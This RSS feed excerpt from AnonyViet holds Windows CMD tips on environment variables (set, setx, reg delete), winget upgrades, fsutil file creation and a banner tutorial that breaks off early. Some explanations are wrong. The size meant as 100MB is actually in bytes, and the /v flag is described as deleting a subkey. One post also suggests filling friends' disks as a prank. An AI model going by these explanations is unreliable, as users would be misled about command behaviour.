<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	 xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>CMD &#8211; AnonyViet &#8211; English Version</title>
	<atom:link href="https://en.anonyviet.com/tag/cmd/feed/" rel="self" type="application/rss+xml" />
	<link>https://en.anonyviet.com</link>
	<description>The most popular website for sharing information technology, computer networks, and security knowledge. Stay up to date with the hottest news and tips</description>
	<lastBuildDate>Sat, 17 Jan 2026 23:36:22 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.1</generator>

<image>
	<url>https://en.anonyviet.com/wp-content/uploads/2023/01/cropped-ico-logo-75x75-1.png</url>
	<title>CMD &#8211; AnonyViet &#8211; English Version</title>
	<link>https://en.anonyviet.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>How to use CMD environment variables in Windows</title>
		<link>https://en.anonyviet.com/how-to-use-cmd-environment-variables-in-windows/</link>
					<comments>https://en.anonyviet.com/how-to-use-cmd-environment-variables-in-windows/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Sat, 17 Jan 2026 23:36:22 +0000</pubDate>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[CMD]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Variables]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=21190</guid>

					<description><![CDATA[You can easily add or modify an environment variable with Command Prompt (CMD)but removing this variable is much more complicated. So in this article, I will guide you to do that. Join the channel Telegram belong to AnonyViet 👉 Link 👈 How to add or modify environment variables First, you need to launch Command Prompt [&#8230;]]]></description>
										<content:encoded><![CDATA[
<div id="ftwp-postcontent">
<p>You can easily add or modify an environment variable with <a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fhuong-dan-lam-quen-cmd-co-ban-cho-nguoi-moi%2F" class="local-link">Command Prompt (CMD)</a>but removing this variable is much more complicated. So in this article, I will guide you to do that.</p>
<div align="center">
<table class="aligncenter" style="background-color: #c0c0c0; border-collapse: collapse; width: 59.9985%;">
<tbody>
<tr>
<td style="width: 100%; text-align: center;"> <span style="font-size: 12pt;"> <strong>Join the channel <span style="color: #0000ff;">Telegram</span> belong to <span style="color: #008080;">AnonyViet</span> 👉 <span style="text-decoration: underline;"><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietoffical" target="_blank" class="local-link">Link</a></span>  👈</strong> </span> </td>
</tr>
</tbody>
</table>
</div>
<p><img post-id="21190" fifu-featured="1" fetchpriority="high" decoding="async" class="aligncenter wp-image-40870 size-full" src="https://anonyviet.com/wp-content/uploads/2022/04/windows-11-and-10.jpg" alt="How to use CMD environment variables in Windows" title="How to use CMD environment variables in Windows" width="600" height="338" title="How to use CMD environment variables in Windows 13" srcset="https://anonyviet.com/wp-content/uploads/2022/04/windows-11-and-10.jpg 600w, https://anonyviet.com/wp-content/uploads/2022/04/windows-11-and-10-300x169.jpg 300w" sizes="(max-width: 600px) 100vw, 600px"/></p>
<h2 id="ftoc-cach-them-hoac-sua-doi-bien-moi-truong" class="ftwp-heading">How to add or modify environment variables</h2>
<p>First, you need to launch Command Prompt or CMD as an administrator. Click Start, enter “cmd” in the search box, then click “Run as Administrator”.</p>
<p><img decoding="async" class="size-full wp-image-40871 aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/04/click-run-as-administrator-2.jpg" alt="How to use CMD environment variables in Windows 12" width="356" height="334" title="How to use CMD environment variables in Windows 14" srcset="https://anonyviet.com/wp-content/uploads/2022/04/click-run-as-administrator-2.jpg 356w, https://anonyviet.com/wp-content/uploads/2022/04/click-run-as-administrator-2-300x281.jpg 300w" sizes="(max-width: 356px) 100vw, 356px"/></p>
<blockquote>
<p>Note: Any user environment variable can be set or modified in a regular Command Prompt window, but changing system-wide environment variables requires an elevated Command Prompt.</p>
</blockquote>
<p>There are two different ways to set environment variables.</p>
<h3 id="ftoc-dat-bien-moi-truong-tam-thoi" class="ftwp-heading">Set temporary environment variables</h3>
<p>First use the set command. Set is used to define a temporary environment variable – in other words, the variable is only active in the window you have open or the script that contains it.</p>
<p>Here is an example: Suppose you want to create an environment variable named LifeAnswerVar and set the value to 42. The command would be <code>set LifeAnswerVar=42</code>.</p>
<p>While that window is open, LifeAnswerVar will have the value 42.</p>
<p><img decoding="async" class="size-full wp-image-40872 aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/04/SetLifeVar.jpg" alt="How to use CMD environment variables in Windows 13" width="549" height="284" title="How to use CMD environment variables in Windows 15" srcset="https://anonyviet.com/wp-content/uploads/2022/04/SetLifeVar.jpg 549w, https://anonyviet.com/wp-content/uploads/2022/04/SetLifeVar-300x155.jpg 300w" sizes="(max-width: 549px) 100vw, 549px"/></p>
<p>When the window is closed, the environment variable and its value are cleared.</p>
<p><img decoding="async" class="size-full wp-image-40873 aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/04/lifevarnotdefined.jpg" alt="How to use CMD environment variables in Windows 14" width="576" height="292" title="How to use CMD environment variables in Windows 16" srcset="https://anonyviet.com/wp-content/uploads/2022/04/lifevarnotdefined.jpg 576w, https://anonyviet.com/wp-content/uploads/2022/04/lifevarnotdefined-300x152.jpg 300w" sizes="(max-width: 576px) 100vw, 576px"/></p>
<p>The same method will work if you want to temporarily modify an existing Windows system variable. All you need to do is substitute the system variable you want to change in place of LifeAnswerVar and the value you want to specify as number 42.</p>
<p>For example, if you want to move the TMP folder to C:\Example, you must enter <code>set TMP=C:\"Example Folder"</code>.</p>
<p><img decoding="async" class="size-full wp-image-40874 aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/04/tmp-moved.jpg" alt="How to use CMD environment variables in Windows 15" width="585" height="285" title="How to use CMD environment variables in Windows 17" srcset="https://anonyviet.com/wp-content/uploads/2022/04/tmp-moved.jpg 585w, https://anonyviet.com/wp-content/uploads/2022/04/tmp-moved-300x146.jpg 300w" sizes="(max-width: 585px) 100vw, 585px"/></p>
<p>first line, <code>set TMP</code>displays the current value of TMP. The second line assigns TMP a new value. The third line confirms that the value has changed.</p>
<h3 id="ftoc-thiet-lap-mot-bien-moi-truong-vinh-vien" class="ftwp-heading">Set a permanent environment variable</h3>
<p>The second way is to use setx. Setx defines permanent Windows environment variables. They exist between windows and between reboots, and are written to the Windows Registry. These environment variables can be defined for a specific user, or they can be defined for system-wide use.</p>
<p>Command <code>setx ExVar1 Tomato /m</code> will create a new environment variable named ExVar1 and assign the value “Tomato” to it. The /m argument specifies that the new variable must be applied system-wide, not just to the current user.</p>
<p><img decoding="async" class="size-full wp-image-40875 aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/04/exvardefined.jpg" alt="How to use CMD environment variables in Windows 16" width="578" height="303" title="How to use CMD environment variables in Windows 18" srcset="https://anonyviet.com/wp-content/uploads/2022/04/exvardefined.jpg 578w, https://anonyviet.com/wp-content/uploads/2022/04/exvardefined-300x157.jpg 300w" sizes="(max-width: 578px) 100vw, 578px"/></p>
<p>Use the same command above to modify an existing environment variable, substituting ExVar1 for the name of the variable you want to change.</p>
<blockquote>
<p>Note: If you use setx to modify a variable and set to view the value of the variable, set will not display the appropriate value until a new Command Prompt window is opened.</p>
</blockquote>
<p>If you want to add or modify a user environment variable, simply omit the /m parameter from the command.</p>
<h2 id="ftoc-cach-xoa-mot-bien-moi-truong" class="ftwp-heading">How to delete an environment variable</h2>
<p>Deleting environment variables is a bit more difficult than adding or modifying them.</p>
<blockquote>
<p>Note: As with adding variables, any user environment variable can be deleted in a regular Command Prompt window, but system-wide deletion of environment variables requires an elevated Command Prompt.</p>
</blockquote>
<h3 id="ftoc-xoa-tam-thoi-mot-bien-moi-truong" class="ftwp-heading">Temporarily delete an environment variable</h3>
<p>If you want to temporarily remove an environment variable for the current process, such as a script, a PowerShell window, or a Command Prompt window, you can use the set command. All you need to do is assign no value to the variable.</p>
<p>For example, what happens if you define a variable <code>ExVar1=Tomato</code> in system-wide environment variables, but want to ignore it for a specific process? You can enter <code>set ExVar1= </code>Go to Command Prompt or include that line in your script. The variable will be set to zero while the script executes or until you open a new Command Prompt window.</p>
<p><img decoding="async" class="size-full wp-image-40876 aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/04/TemporaryRemoval.jpg" alt="How to use CMD environment variables in Windows 17" width="576" height="298" title="How to use CMD environment variables in Windows 19" srcset="https://anonyviet.com/wp-content/uploads/2022/04/TemporaryRemoval.jpg 576w, https://anonyviet.com/wp-content/uploads/2022/04/TemporaryRemoval-300x155.jpg 300w" sizes="(max-width: 576px) 100vw, 576px"/></p>
<h3 id="ftoc-xoa-vinh-vien-mot-bien-moi-truong" class="ftwp-heading">Permanently delete an environment variable</h3>
<p>Permanently deleting an environment variable is a bit more complicated – you have to use reg to do it.</p>
<blockquote>
<p>Warning: Reg is the command line version of <a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fwww.dienmayxanh.com%2Fkinh-nghiem-hay%2Fwindows-registry-la-gi-dung-ra-sao-luu-y-khi-chi-1246922%23%3A%7E%3Atext%3DRegistry%2520l%25C3%25A0%2520m%25E1%25BB%2599t%2520c%25C6%25A1%2520s%25E1%25BB%259F%2Cnhi%25E1%25BB%2581u%2520th%25C3%25B4ng%2520tin%2520kh%25C3%25A1c%2520n%25E1%25BB%25AFa." rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">Registry Editor</a>. You should proceed with caution – a typo could lead to you accidentally deleting important content. It is essential to back up the Registry you are editing before making changes.</p>
</blockquote>
<p>Environment variables for individual users are stored in HKEY_CURRENT_USER\Environment. System-wide environment variables are stored elsewhere, in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment.</p>
<p>Let&#8217;s use an example <code>ExVar1=Tomato</code>. The ExVar1 environment variable has been defined system-wide, which means it is located in the HKEY_LOCAL_MACHINE folder instead of the HKEY_CURRENT_USER folder. Specifically, the path to the subkey is:</p>
<p>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\ExVar1</p>
<blockquote>
<p>Note: This path contains a space. Any time there are spaces in a path entered in the command line interface, you must use double quotes, otherwise it will most likely not execute correctly.</p>
</blockquote>
<p>Now we need to use the delete reg command to remove it. Remember that you will need to substitute your variable name for ExVar1 in the command below.</p>
<p><code>reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\" /f /v ExVar1</code></p>
<p>I will explain each one one by one:</p>
<ul>
<li>reg delete — identifies the application (reg) and command (delete) we are using</li>
<li><code>"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\"</code>  — Tells reg where to find the key</li>
<li>/f — Delete without confirmation</li>
<li>/v — Delete subkey</li>
<li>ExVar1 — The name of the subkey we want to delete</li>
</ul>
<p>Deleting an environment variable for an individual user is exactly the same as deleting a system-wide variable, except the path will be different. If ExVar1 was a user environment variable, the command to clear it would be:</p>
<p><code>reg delete HKEY_CURRENT_USER\Environment /f /v ExVar1</code></p>
<p>If the command to delete environment variables is successful, you will see “The operation completed successfully” in Command Prompt.</p>
<p><img decoding="async" class="size-full wp-image-40877 aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/04/removedpermanently.jpg" alt="How to use CMD environment variables in Windows 18" width="650" height="223" title="How to use CMD environment variables in Windows 20" srcset="https://anonyviet.com/wp-content/uploads/2022/04/removedpermanently.jpg 650w, https://anonyviet.com/wp-content/uploads/2022/04/removedpermanently-300x103.jpg 300w" sizes="(max-width: 650px) 100vw, 650px"/></p>
<p>Any time you delete an environment variable like this, you also need to restart explorer.exe. You can restart Explorer.exe manually, or you can just restart your entire computer. Changes will take effect immediately after reboot.</p>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/how-to-use-cmd-environment-variables-in-windows/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2022/04/windows-11-and-10.jpg" medium="image"></media:content>
            	</item>
		<item>
		<title>Tips to update all Windows applications using CMD</title>
		<link>https://en.anonyviet.com/tips-to-update-all-windows-applications-using-cmd/</link>
					<comments>https://en.anonyviet.com/tips-to-update-all-windows-applications-using-cmd/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Wed, 10 Jul 2024 22:45:03 +0000</pubDate>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[applications]]></category>
		<category><![CDATA[CMD]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[Update]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=16184</guid>

					<description><![CDATA[Update all Windows applications Now it is no longer a concern for those who are knowledgeable about CMD. Let&#39;s explore the simple way to keep your system updated without spending too much effort through the article below. Join the channel Telegram belong to AnonyViet 👉 Link 👈 How to Update All Windows Applications Using CMD [&#8230;]]]></description>
										<content:encoded><![CDATA[
<div id="ftwp-postcontent">
<p><strong>Update all Windows applications</strong> Now it is no longer a concern for those who are knowledgeable about CMD. Let&#39;s explore the simple way to keep your system updated without spending too much effort through the article below.</p>
<div class="code-block code-block-16" style="margin: 8px 0; clear: both;">
<div align="center">
<table class=" aligncenter" style="background-color: #c0c0c0; border-collapse: collapse; width: 59.9985%;">
<tbody>
<tr>
<td style="width: 100%; text-align: center;"><span style="font-size: 12pt;"><strong>Join the channel <span style="color: #0000ff;">Telegram</span> belong to <span style="color: #008080;">AnonyViet</span> 👉 <span style="text-decoration: underline;"><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietoffical" class="local-link" rel="noopener">Link</a></span>  👈</strong></span></td>
</tr>
</tbody>
</table>
</div>
</div>
<h2 id="ftoc-cach-cap-nhat-toan-bo-ung-dung-windows-bang-cmd" class="ftwp-heading"><strong>How to Update All Windows Applications Using CMD</strong></h2>
<p>While it is possible to upgrade applications individually, it is time-consuming and laborious. In contrast, Windows Package Manager is a useful command-line tool that can help you automate the steps of finding, downloading, installing, updating, and configuring applications, including those from the Microsoft Store, win32 programs, and web apps.</p>
<p><strong>Step 1:</strong> First, open the Start menu and search for CMD or PowerShell. Then, right-click on the top result and select “Run as administrator”.</p>
<p><strong>Step 2:</strong> In the window <a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fcach-tao-ra-mot-file-voi-dung-luong-tuy-y-bang-cmd%2F" class="local-link" rel="noopener">CMD</a>type the following command and press Enter to list the apps that have new updates.</p>
<blockquote>
<p>winget upgrade</p>
</blockquote>
<figure id="attachment_59369" aria-describedby="caption-attachment-59369" style="width: 640px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-59369 size-full" src="https://anonyviet.com/wp-content/uploads/2024/04/meo-cap-nhat-toa-bo-ung-dung-windows-bang-cmd-1.jpg" alt="Update all Windows applications" width="640" height="341" srcset="https://anonyviet.com/wp-content/uploads/2024/04/meo-cap-nhat-toa-bo-ung-dung-windows-bang-cmd-1.jpg 640w, https://anonyviet.com/wp-content/uploads/2024/04/meo-cap-nhat-toa-bo-ung-dung-windows-bang-cmd-1-300x160.jpg 300w" sizes="auto, (max-width: 640px) 100vw, 640px"/><figcaption id="caption-attachment-59369" class="wp-caption-text">Enter the command winget upgrade</figcaption></figure>
<p><strong>Step 3:</strong> Continue entering the command below > Press Enter. This command will update all applications to the latest version.</p>
<blockquote>
<p>winget upgrade -h –all</p>
</blockquote>
<figure id="attachment_59370" aria-describedby="caption-attachment-59370" style="width: 640px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-59370 size-full" src="https://anonyviet.com/wp-content/uploads/2024/04/meo-cap-nhat-toa-bo-ung-dung-windows-bang-cmd-2.jpg" alt="Update all Windows applications" width="640" height="341" srcset="https://anonyviet.com/wp-content/uploads/2024/04/meo-cap-nhat-toa-bo-ung-dung-windows-bang-cmd-2.jpg 640w, https://anonyviet.com/wp-content/uploads/2024/04/meo-cap-nhat-toa-bo-ung-dung-windows-bang-cmd-2-300x160.jpg 300w" sizes="auto, (max-width: 640px) 100vw, 640px"/><figcaption id="caption-attachment-59370" class="wp-caption-text">Enter the command winget upgrade -h –all</figcaption></figure>
<p>Once the above process is done, winget will automatically download and install updates for all applications installed on your Windows operating system.</p>
<figure id="attachment_59371" aria-describedby="caption-attachment-59371" style="width: 640px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-59371 size-full" src="https://anonyviet.com/wp-content/uploads/2024/04/meo-cap-nhat-toa-bo-ung-dung-windows-bang-cmd-3.jpg" alt="Update all Windows applications" width="640" height="341" srcset="https://anonyviet.com/wp-content/uploads/2024/04/meo-cap-nhat-toa-bo-ung-dung-windows-bang-cmd-3.jpg 640w, https://anonyviet.com/wp-content/uploads/2024/04/meo-cap-nhat-toa-bo-ung-dung-windows-bang-cmd-3-300x160.jpg 300w" sizes="auto, (max-width: 640px) 100vw, 640px"/><figcaption id="caption-attachment-59371" class="wp-caption-text">How to automatically update Windows applications</figcaption></figure>
<h2 id="ftoc-luu-y" class="ftwp-heading"><strong>Note</strong></h2>
<p>This method only works for apps installed through Windows Package Manager. If you want to update an individual app, you can use the command winget upgrade -h –id APP-ID where APP-ID is the ID of the app.</p>
<p>For example: winget upgrade -h –id ByteDance.Capcut.</p>
<h2 id="ftoc-loi-ket" class="ftwp-heading"><strong>Epilogue</strong></h2>
<p>With the simple steps above, <strong>Update all Windows applications</strong> via CMD is faster and more convenient than ever. Take advantage of this powerful tool to optimize your work performance!</p>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/tips-to-update-all-windows-applications-using-cmd/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2024/04/meo-cap-nhat-toa-bo-ung-dung-windows-bang-cmd.jpg" medium="image"></media:content>
            	</item>
		<item>
		<title>How to create a file with arbitrary capacity using CMD</title>
		<link>https://en.anonyviet.com/how-to-create-a-file-with-arbitrary-capacity-using-cmd/</link>
					<comments>https://en.anonyviet.com/how-to-create-a-file-with-arbitrary-capacity-using-cmd/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Sun, 03 Mar 2024 01:20:37 +0000</pubDate>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[arbitrary]]></category>
		<category><![CDATA[capacity]]></category>
		<category><![CDATA[CMD]]></category>
		<category><![CDATA[create]]></category>
		<category><![CDATA[file]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=14828</guid>

					<description><![CDATA[Create a file with arbitrary capacity is a useful skill in many situations, such as testing system performance, creating simulated data, or performing file operations without fear of affecting real files. In this article, AnonyViet will show you how to create a file with arbitrary capacity in the simplest way. Join the channel Telegram belong [&#8230;]]]></description>
										<content:encoded><![CDATA[
<div id="ftwp-postcontent">
<p><strong>Create a file with arbitrary capacity</strong> is a useful skill in many situations, such as testing system performance, creating simulated data, or performing file operations without fear of affecting real files.  In this article, <a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2F" class="local-link" rel="noopener">AnonyViet</a> will show you how to create a file with arbitrary capacity in the simplest way.</p>
<div class="code-block code-block-16" style="margin: 8px 0; clear: both;">
<div align="center">
<table class=" aligncenter" style="background-color: #c0c0c0; border-collapse: collapse; width: 59.9985%;">
<tbody>
<tr>
<td style="width: 100%; text-align: center;"><span style="font-size: 12pt;"><strong>Join the channel <span style="color: #0000ff;">Telegram</span> belong to <span style="color: #008080;">AnonyViet</span> 👉 <span style="text-decoration: underline;"><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietoffical" class="local-link" rel="noopener">Link</a></span>  👈</strong></span></td>
</tr>
</tbody>
</table>
</div>
</div>
<h2 id="ftoc-cach-tao-ra-mot-file-voi-dung-luong-tuy-y" class="ftwp-heading"><strong>How to create a file with arbitrary capacity</strong></h2>
<p><strong>Step 1:</strong> Go to Start menu > Type &#39;cmd&#39; > Click &#39;Run as Administrator&#39;</p>
<figure id="attachment_53305" aria-describedby="caption-attachment-53305" style="width: 800px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-53305 size-full" src="https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y-1.jpg" alt="Create a file with arbitrary capacity" width="800" height="575" title="How to create a file with arbitrary capacity using CMD 8" srcset="https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y-1.jpg 800w, https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y-1-300x216.jpg 300w, https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y-1-768x552.jpg 768w, https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y-1-120x86.jpg 120w, https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y-1-750x539.jpg 750w" sizes="auto, (max-width: 800px) 100vw, 800px"/><figcaption id="caption-attachment-53305" class="wp-caption-text">Open Command Prompt</figcaption></figure>
<p><strong>Step 2:</strong> In the Command Prompt dialog box that appears, enter the command line with the following structure to create the file:</p>
<blockquote>
<p>FSUTIL FILE CREATENEW [ký hiệu ổ đĩa]:\[tên file].[định dạng] [dung lượng]</p>
</blockquote>
<p>For example: You want to create an mp4 file with a capacity of 100MB on drive D, enter the following:</p>
<blockquote>
<p>FSUTIL FILE CREATENEW D:\test.mp4 100</p>
</blockquote>
<figure id="attachment_53306" aria-describedby="caption-attachment-53306" style="width: 776px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-53306 size-full" src="https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y-2.jpg" alt="Create a file with arbitrary capacity" width="776" height="304" title="How to create a file with arbitrary capacity using CMD 9" srcset="https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y-2.jpg 776w, https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y-2-300x118.jpg 300w, https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y-2-768x301.jpg 768w, https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y-2-750x294.jpg 750w" sizes="auto, (max-width: 776px) 100vw, 776px"/><figcaption id="caption-attachment-53306" class="wp-caption-text">Enter the command line with the following structure</figcaption></figure>
<p>Immediately, when you go back to drive D, an mp4 file will appear with the capacity just set.</p>
<figure id="attachment_53307" aria-describedby="caption-attachment-53307" style="width: 800px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-53307 size-full" src="https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y-3.jpg" alt="Create a file with arbitrary capacity" width="800" height="409" title="How to create a file with arbitrary capacity using CMD 10" srcset="https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y-3.jpg 800w, https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y-3-300x153.jpg 300w, https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y-3-768x393.jpg 768w, https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y-3-750x383.jpg 750w" sizes="auto, (max-width: 800px) 100vw, 800px"/><figcaption id="caption-attachment-53307" class="wp-caption-text">Create a file with arbitrary capacity</figcaption></figure>
<h2 id="ftoc-loi-ket" class="ftwp-heading"><strong>Epilogue</strong></h2>
<p><strong>Create a file with arbitrary capacity</strong> is a useful skill you should know.  You can use it to troll, fill up your friends&#39; plates, for example.  Good luck!</p>
<div class="kk-star-ratings kksr-auto kksr-align-right kksr-valign-bottom" data-payload="{&quot;align&quot;:&quot;right&quot;,&quot;id&quot;:&quot;53308&quot;,&quot;slug&quot;:&quot;default&quot;,&quot;valign&quot;:&quot;bottom&quot;,&quot;ignore&quot;:&quot;&quot;,&quot;reference&quot;:&quot;auto&quot;,&quot;class&quot;:&quot;&quot;,&quot;count&quot;:&quot;100&quot;,&quot;legendonly&quot;:&quot;&quot;,&quot;readonly&quot;:&quot;&quot;,&quot;score&quot;:&quot;5&quot;,&quot;starsonly&quot;:&quot;&quot;,&quot;best&quot;:&quot;5&quot;,&quot;gap&quot;:&quot;5&quot;,&quot;greet&quot;:&quot;\u0110\u00e1nh gi\u00e1 b\u00e0i vi\u1ebft post&quot;,&quot;legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: 5\/5 - (100 b\u00ecnh ch\u1ecdn)&quot;,&quot;size&quot;:&quot;24&quot;,&quot;title&quot;:&quot;C\u00e1ch t\u1ea1o ra m\u1ed9t file v\u1edbi dung l\u01b0\u1ee3ng t\u00f9y \u00fd b\u1eb1ng CMD&quot;,&quot;width&quot;:&quot;142.5&quot;,&quot;_legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: {score}\/{best} - ({count} {votes})&quot;,&quot;font_factor&quot;:&quot;1.25&quot;}">
<p>  The article scored: 5/5 &#8211; (100 votes)</p>
</div>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/how-to-create-a-file-with-arbitrary-capacity-using-cmd/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2023/12/tao-ra-mot-file-voi-dung-luong-tuy-y.jpg" medium="image"></media:content>
            	</item>
		<item>
		<title>Instructions for creating character banners in Python and CMD with just a few simple steps</title>
		<link>https://en.anonyviet.com/instructions-for-creating-character-banners-in-python-and-cmd-with-just-a-few-simple-steps/</link>
					<comments>https://en.anonyviet.com/instructions-for-creating-character-banners-in-python-and-cmd-with-just-a-few-simple-steps/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Mon, 26 Feb 2024 22:15:47 +0000</pubDate>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[banners]]></category>
		<category><![CDATA[character]]></category>
		<category><![CDATA[CMD]]></category>
		<category><![CDATA[creating]]></category>
		<category><![CDATA[Instructions]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[simple]]></category>
		<category><![CDATA[steps]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=14780</guid>

					<description><![CDATA[Way create character banners in Python and CMD is a fun and useful skill you can learn. Character banners are images created with ASCII characters that can be used to decorate programming projects, websites, or as backgrounds for presentations. In this article, AnonyViet will guide you how to create internal character banners Python and CMD [&#8230;]]]></description>
										<content:encoded><![CDATA[
<div id="ftwp-postcontent">
<p>Way<strong> create character banners in Python and CMD</strong> is a fun and useful skill you can learn.  Character banners are images created with ASCII characters that can be used to decorate programming projects, websites, or as backgrounds for presentations.  In this article, AnonyViet will guide you how to create internal character banners <a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fcach-len-lich-chay-tap-lenh-python-hang-ngay%2F" class="local-link" rel="noopener">Python</a> and CMD with basic commands.</p>
<div class="code-block code-block-16" style="margin: 8px 0; clear: both;">
<div align="center">
<table class=" aligncenter" style="background-color: #c0c0c0; border-collapse: collapse; width: 59.9985%;">
<tbody>
<tr>
<td style="width: 100%; text-align: center;"><span style="font-size: 12pt;"><strong>Join the channel <span style="color: #0000ff;">Telegram</span> belong to <span style="color: #008080;">AnonyViet</span> 👉 <span style="text-decoration: underline;"><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietoffical" class="local-link" rel="noopener">Link</a></span>  👈</strong></span></td>
</tr>
</tbody>
</table>
</div>
</div>
<h2 id="ftoc-cach-tao-banner-ky-tu-trong-python-va-cmd" class="ftwp-heading"><strong>How to create character banners in Python and CMD</strong></h2>
<p><strong>Step 1:</strong> Visit website <a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Ffsymbols.com%2Fgenerators%2Fcarty%2F" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">The following</a></p>
<p><strong>Step 2:</strong> Enter the banner character in the blank box > Enter</p>
<p><strong>Step 3:</strong> Click Copy on the result you like</p>
